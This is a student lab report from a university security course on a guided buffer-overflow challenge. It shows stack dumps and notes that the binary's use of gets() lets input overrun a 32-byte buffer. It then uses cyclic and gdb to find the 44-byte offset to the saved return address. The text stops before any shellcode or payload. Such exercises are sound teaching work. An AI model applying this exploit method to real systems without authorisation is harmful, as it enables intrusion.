Lorenzo La Corte - 2023/2024 - Università degli Studi di Genova
<aside> 💡 Link to the web version (more readable): llacorte.notion.site/BASC-Assignment-3-Shellcoding-16e1781343c84a7ea501005fc7798a2d
</aside>
This report provides descriptions of exploits for challenges about shellcoding.
The first challenge is a 32-bit executable:
$ file bof101_x86
bof101_x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=fce5de9ddde57361906ed6cb58f06280aa414e4c, for GNU/Linux 3.2.0, with debug_info, not stripped
This guided exercise not only provides the attacker with the source code but also with a lot of information on what is going on:
$ ./bof101_x86
+---------------+
| BOF 101 |
| (x86/32-bits) |
+---------------+
I'm in main().
Since this is your first challenge, you'll get a leak for free: &x=0xffdb979c
Now, I'll call foo().
I'm at the beginning of foo(), and this is the current stack content:
0xffdb9784 | 9c 97 db ff | .... |
0xffdb9780 | 48 a2 04 08 | H... |
0xffdb977c | fa 96 04 08 | .... | <--- saved return address (0x80496fa)
0xffdb9778 | a8 97 db ff | .... |
0xffdb9774 | 74 98 db ff | t... |
0xffdb9770 | 00 c0 04 08 | .... |
0xffdb976c | 00 00 00 00 | .... | <--- end of the buffer "name"
0xffdb9768 | 00 00 00 00 | .... |
0xffdb9764 | 00 00 00 00 | .... |
0xffdb9760 | 00 00 00 00 | .... |
0xffdb975c | 00 00 00 00 | .... |
0xffdb9758 | 00 00 00 00 | .... |
0xffdb9754 | 00 00 00 00 | .... |
0xffdb9750 | 00 00 00 00 | .... | <--- beginning of the buffer "name"
0xffdb974c | 00 c0 04 08 | .... |
Please enter your name:
What immediately appears evident when talking about BOF, is the use of the gets
function, which doesn’t check the buffer capacity against the length of the user input.
This allows a potential attacker to overwrite other parts of the memory: as a matter of fact, if more than 32 chars in input are inserted, the result is the overflow of the buffer:
0xff994cd0 | 61 61 61 61 | aaaa |
0xff994ccc | 61 61 61 61 | aaaa | <--- end of the buffer "name"
0xff994cc8 | 61 61 61 61 | aaaa |
0xff994cc4 | 61 61 61 61 | aaaa |
0xff994cc0 | 61 61 61 61 | aaaa |
0xff994cbc | 61 61 61 61 | aaaa |
0xff994cb8 | 61 61 61 61 | aaaa |
0xff994cb4 | 61 61 61 61 | aaaa |
0xff994cb0 | 61 61 61 61 | aaaa | <--- beginning of the buffer "name"
The goal now is to find the offset from the buffer to the return address, in other to overwrite the latter. I can use cyclic
and gdb
, in particular:
I generate a **de Bruijn sequence ****of 50 (a random length):
$ cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Using gdb
, I pass that sequence to the program and check for the point where it exits with a segmentation fault:
$ gdb ./bof101_x86
gef➤ run
...
Please enter your name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
...
$eip : 0x6161616c ("laaa"?)
...
[#0] Id 1, Name: "bof101_x86", stopped 0x6161616c in ?? (), reason: SIGSEGV
At that point, the instruction pointer was pointing to the substring laaa
, which is part of the sequence I passed in input.
So, the exact position at which the program crashes is the offset of the substring in the initial de Bruijn sequence, and I can find it using:
$ cyclic -l laaa
44
So, the offset that I have to use to overwrite the return address is 44.